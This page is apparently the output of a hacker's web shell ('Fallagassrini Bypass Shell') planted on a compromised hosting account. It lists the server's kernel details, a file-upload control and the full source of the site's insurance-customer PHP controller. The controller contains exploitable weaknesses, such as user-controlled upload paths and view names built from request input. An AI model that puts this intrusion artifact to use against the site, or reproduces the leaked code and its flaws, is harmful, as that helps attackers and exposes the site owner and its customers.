? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/piadraft/system/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/piadraft/system/application/controllers/customer.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php

class Customer extends BaseController {

	function Customer()
	{
		parent::BaseController();
		$this->load->library('Fpaginate');
		$this->load->model('customermodel');
		$this->load->model('mastermodel');
                $this->load->model('settingsmodel');
                $this->load->model('accountingsmodel');
                $this->load->model('policiesmodel');
                $this->load->library('Fpaginate');
                $this->load->helper('url');
                $this->load->model('hrmodel');
                            
		
	}
	
	function index($menuid="",$modid="")
	{
		if(empty($modid))
		{
			$data['modname']='Home';
		}
		else
		{
			$mod_id=$this->mastermodel->get_data('modules',$modid,'module_id','sort');
			foreach($mod_id as $id)
			{
				$modname=$id['module_name'];
			}
			$data['modname']=$modname;
		}
		if(empty ($menuid))
		{
			$tart='index';
			$data['menuname']='';
		}
		else
		{
			$tar=$this->mastermodel->get_data('menu',$menuid,'menu_id');
			foreach($tar as $target)
			{
				$tart=$target['target'];
				$data['menuname']=$target['caption'];
			}
		}
		$data['modules']=$this->mastermodel->getdatas('modules','sort');
		$data['menus']=$this->mastermodel->get_data('menu',$modid,'module_id','sort');
		$this->load->view(''.$data['modname'].'/'.$tart.'',$data);
	}
    
    function showleftbar()
    {
    	$data['menus']=$this->mastermodel->get_data('menu',1,'module_id','sort');
    	$this->load->view('leftbar',$data);
    }
    
	function editcustomer($id)
	{
		$this->customermodel->LoadEditCust($id);

	}
	
	function Deletecustomer($id)
	{
		$this->customermodel->DeleteCust($id);
	}
	
	function loadSelectCustCombo()
	{
		$this->load->view('Customer/selectcusttypeform');
	}
	
    function custtype($type)
    {
    	if($type=="Individual")
    	{
    		$data['hidfield']=array('type'=>'hidden', 'id'=> 'hiddencusttype','name'=>'ctype','value'=>$type);
    		$this->load->view('Customer/indcustform',$data);
    	}
    	else if($type=="Corporate")
    	{
    		$this->load->view('Customer/corporatecustform');
    	}
    	else
    	{
    		echo "";
    	}
    }
	
	
	function ajaxload($page,$table)
        {
            $data['viewinfo']=$this->mastermodel->view(''.$table.'');
            $data['directory']=$this->mastermodel->getdatas('directory');
            $this->load->view('Customer/'.$page.'',$data);
        }
	
	
	 

	
	function UploadClientFiles()
	{
		$path=$this->input->post('subpathname');
        $config['upload_path'] = './uploads/'.$path.''; // server directory
        //$data=array_filter($_FILES['userfile']['name']);
		 
        $config['allowed_types'] = 'gif|jpg|png|doc|pdf|txt|xls|csv|docx'; // by extension, will check for whether it is an image
        $config['max_size']    = '100000'; // in kb
        $config['max_width']  = '1024';
        $config['max_height']  = '768';
        $this->load->library('upload', $config);
        $this->load->library('Multi_upload');
		
        $files = $this->multi_upload->go_upload();
		

		
        $this->customermodel->InsertCustFileToDatabase($files,$path);
		  redirect('master/index/14/1');
        //$this->index('41', '1');
	}
	
	
    function listcustomer($pageNo,$custname="")
    {
	$pageSize=10;
        $custname=str_replace("~"," ",$custname);
                $custname=str_replace("_","/",$custname);
		
	$searchoption="customers~code";
    	$dat['viewinfo']=$this->customermodel->ListofCustomers($custname,$searchoption,$pageNo,$pageSize);
        $data['MaxPage']=$dat['viewinfo']['maxpage'];
        $data['viewinfo']=$dat['viewinfo']['result'];
        $data['custname']=$custname;
	$data['searchBy']=$searchoption;
	$data['currentpage']=1;
	if($pageNo!=1)
	{
		$data['sno']=($pageNo-1) * $pageSize+1;
	}
	else
	{
		$data['sno']=$pageNo;
	}
	
	$data['pageList']= $this->fpaginate->paginate($pageNo,$data['MaxPage']);
    	$this->load->view('Customer/loadcustomerlist',$data);
    }
    
    function searchCustTemp()
	{
		$data['serctext']=$this->input->post('searchtext');
		$data['seloption']=$this->input->post('selectoption');
		echo json_encode($data);
	}
	
	function showcustonerfilelist($customer_id="")
	{
		$this->customermodel->getCustomerDocumetList($customer_id);
	}
	
	function loadfilepreview($fileid)
	{
		$this->customermodel->loadFilePreview($fileid);
	}
	function deletecustomerfile($fileid)
	{
		$this->customermodel->DeleteCustomerFiles($fileid);
	}
	
	function showcustuploadform()
	{
		$this->load->view('Customer/customerdocumentmain');
	}
    
	function listSearchcustomer($searchBy="",$pageNo="",$custname="")
	{
		$custname=str_replace("~"," ",$custname);
                $custname=str_replace("_","/",$custname);
		 
	$pageSize=10;
    	$dat['viewinfo']=$this->customermodel->ListofCustomers($custname,$searchBy,$pageNo,$pageSize);
   
        $data['MaxPage']=$dat['viewinfo']['maxpage'];
        $data['viewinfo']=$dat['viewinfo']['result'];
	$data['custname']=$custname;
	$data['searchBy']=$searchBy;
	$data['currentpage']=$pageNo;
	if($pageNo!=1)
	{
		$data['sno']=($pageNo-1) * $pageSize +1;
	}
	else
	{
		$data['sno']=$pageNo;
	}
    	$this->load->view('Customer/loadcustomerlist',$data);
	}
    
    
	function listsinglecustomer($id)

    {           
		$this->customermodel->ListsingleCustomer($id);
    }
    

//	function InsertCust($a)
//	{
//		$NewValue = explode('~',$a);
//	 	$this->customermodel->InsertCustUsingProcedure($NewValue);
//	}

	function InsertIndividualCustomesControler()//Function to insert Individual Customer Details
	{
	
            
        
          $check=$this->mastermodel->block_duplicates('customer_contact','address','new');
        
       
         
         $res= $this->customermodel->InsertIndividualCustomer();
         redirect('master/index/14/1');

          // $res=$this->policiesmodel->insertcancellation($files,$path);
         //$this->index('14', '1');

    
//
//           if($res==1)
//           {
//           $this->load->view('Policies/success');
//
//           }



            
	}
	
	
	function UpdateIndividualCustomesControler()//Function to Update Individual Customer Details
	{
        
        $res=$this->customermodel->UpdateIndividualCustomer();
                 redirect('master/index/14/1');

                //$this->index('41', '1');
	}
	
	
	function deletecustomers($id)
	{
		$this->customermodel->deleteCustomerDeteailModel($id);
	}

        function loaderror()
        {

             $this->load->view('Master/checkexist');
        }
	
	function updatecustdetails($a)
	{
		$NewValue = explode('~',$a);
	 	$this->customermodel->modelupdatecustdetails($NewValue);
	}
	
	function InsertCorprateCustomerDetails()
	{
            

    

         $res=$this->customermodel->InsertCorprateCustomerDetails_Model();
		 redirect('master/index/14/1');

        // $this->index('0', '1');
	}
	
	function UpdateCorprateCustomerDetails()
	{

            
        $res=$this->customermodel->UpdateCorprateCustomerDetails_Model();
	redirect('master/index/0/1');
//$this->index('0', '1');
	}
	
	
	function autosugesttext($content="",$text_id="",$id_text="",$tableName="")
	{
		$data['result']=$this->customermodel->getAutoSugestList($content,$tableName);
		$data['text_id']=$text_id;
		$data['id_text']=$id_text;
		if($tableName!="insured")
		{
			$filed= explode("~",$tableName);
			$data['Index']=$filed[1];
		}
		else
		{
			$data['Index']="insured";
		}
		 $this->load->view('Customer/AutocompleteScript',$data);
	}
	
	function addcustomer()
	{
		$this->load->view('addcustomer');
	}

   	function ajaxloadcountrycity($page,$field)
    {
    	$data['citylist']=$this->mastermodel->get_data('city',$field,'country_id');
        $this->load->view('Customer/'.$page.'',$data);
    }
    
    function listsearchemployee($searchoption="",$searchtext="")
    {
    	//echo $searchtext . " " . $searchoption;
    	$data['result']=$this->customermodel->ListSearchEmployeedetails($searchoption,$searchtext);
    	$this->load->view('Customer/search_employee_result',$data);
    }
    
    function loadCoverList($id)
    {
    	$data['result']=$this->customermodel->LoadCoverList($id);
    	$this->load->view('Customer/tracking_typeofcover',$data);
    }
    function trackcustomer()
    {
    	$data['result']=$this->customermodel->trackcustomermodel();
    	$this->load->view('Customer/load_track_cust_list',$data);
    }
    function viewTrack_Customer_result($id,$brokid="",$policy="")
    {
    	//echo "hai";
    	$data['id']=$id;
    	$data['policy']=$policy;
        $data['brokid']=$brokid;
        $data['tablename']='customer_documents';
        $data['fieldname']='customer_id';
      	$this->load->view('Customer/track_cust_resultpage',$data);
    }
    function ListCustomerDocument($id)
    {
    	$data['result']=$this->customermodel->List_Customer_Documets($id);
    	$this->load->view('Customer/list_customer_documents',$data);
    }
	function ListCustomerEndorsement($id)
    {

        $data['policyid']=$id;
    	$data['result']=$this->customermodel->List_Customer_Endorsement($id);
    	$data['result1']=$this->customermodel->List_Customer_cancellation($id);
    	$data['result2']=$this->customermodel->List_Customer_Declaration($id);
        $data['result6']=$this->customermodel->List_Customer_claims($id);
    	$this->load->view('Customer/track_cust_policy_list',$data);
    }

    function listqoutation($brokid)
    {
        $data['result']=$this->customermodel->list_quotation($brokid);
    	
    	$this->load->view('Customer/track_cust_quot',$data);
    }
    function ajaxformsubmit()
    {
	echo $_POST['txtCustname'];
    }
    function getmaxminlist($currentpage,$noofpages)
    {
	$this->fpaginate->newpaginate($currentpage,$noofpages,4);
    }

    function ListCustomerSlip($id,$brokid)
    {
      $qref=$this->mastermodel->get_data_srow('broking_slip',$brokid,'id');
      $data['result3']=$this->customermodel->List_Customer_brokingslip($id,$qref->quotation_ref);
      $data['result']=$this->customermodel->list_quotation($brokid);
      $data['result4']=$this->customermodel->List_Customer_placingslip($id,$qref->quotation_ref);
      $this->load->view('Customer/list_customer_slip',$data);
    }

    function checkcustomertransaction()
    {
       $id=$_POST['id'];
       $res= $this->customermodel->checkcustomertransaction($id);

       echo $res;
    }
}

/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net